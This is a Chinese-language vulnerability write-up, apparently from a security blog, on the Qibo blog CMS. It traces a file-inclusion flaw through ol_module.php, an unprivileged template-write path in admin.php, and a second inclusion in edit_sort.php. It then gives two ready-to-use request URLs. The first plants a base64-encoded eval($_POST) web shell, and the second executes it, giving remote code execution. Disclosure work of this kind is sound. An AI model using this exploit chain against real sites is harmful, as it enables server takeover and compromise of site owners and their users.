<ul><li>/blog/require/ajax/ol_module.php</li></ul><pre class="">if($step==2)
{
$uid=$lfjuid;
@include("template/space/module/$moduleid.php");
/*ÐÂÔö¼ÓµÄÄ£¿éʹ֮¿ÉÒÔÍÏÀ*/
//$ThisModule[$moduleid]=str_replace('class="head"','class="head" onMouseOver="Drag.inint();"',$ThisModule[$moduleid]);
if(!$ThisModule[$moduleid])
{
@include("template/space/file/$moduleid.php");
}
</pre><p>$moduleid可控，可以包含任意php文件。<br></p><ul><li>/hack/template/admin.php</li></ul><pre class="">elseif($action=="maketpl"&&$Apower[template_list])
{
$path=dirname($postdb[filepath]);
if(!is_dir(ROOT_PATH.$path)){
makepath(ROOT_PATH.$path);
}
if(is_file(ROOT_PATH.$postdb[filepath])){
showmsg("此模板已存在了");
}
elseif(!eregi("(\.htm|\.html)$",$postdb[filepath])){
showmsg('模板只能是.htm .html文件!');
}
if($ifupfile)
{
……
}
else
{
if(!$postdb[code]){
showerr("内容不能为空",1);
}
$postdb[code]=stripslashes($postdb[code]);
if(eregi("(\.htm|\.html)$",$postdb[filepath]) ){
write_file(ROOT_PATH.$postdb[filepath],$postdb[code]);
}
if(!is_writable(ROOT_PATH.$postdb[filepath])){
echo "文件写入失败,请确认目录可写:".ROOT_PATH.$postdb[filepath];
die();
}
}
</pre><p>将用户传入的$postdb[code]写入一个htm文件。</p><ul><li>/blog/require/ajax/edit_sort.php</li></ul><pre class="">else
{
$query=$db->query("SELECT * FROM {$pre}$table_album WHERE uid='$lfjuid' ORDER BY list DESC");
while( $rs=$db->fetch_array($query) ){
$listdb[]=$rs;
}
require tpl_e($job);
}
</pre><p>此处job可控，跟入tpl_e函数：</p><pre class="">function tpl_e($html) {
return “template/space/edit/$html.htm”;
}
</pre><p>此处包含一个htm文件。用户可以先写入一个存在任意PHP代码的htm文件，再在此处包含导致任意代码执行漏洞。</p><p>注册并登陆，首先访问地址：</p><pre class="">http://10.211.55.12/qiboblog/blog/ajax.php?inc=ol_module&step=2&step=2&moduleid=../../../../hack/template/admin&action=maketpl&Apower[template_list]=1&postdb[filepath]=template/shell.htm&postdb[code]=<?php assert(file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbZV0pOz8%2B")));?></pre><p>再次访问地址：</p><pre class="">http://10.211.55.12/qiboblog/blog/ajax.php?inc=edit_sort&job=../../../../template/shell</pre><p>得到webshell，地址为：</p><pre class="">http://10.211.55.12/qiboblog/blog/shell.php</pre>
京公网安备 11010502034610号
暂无评论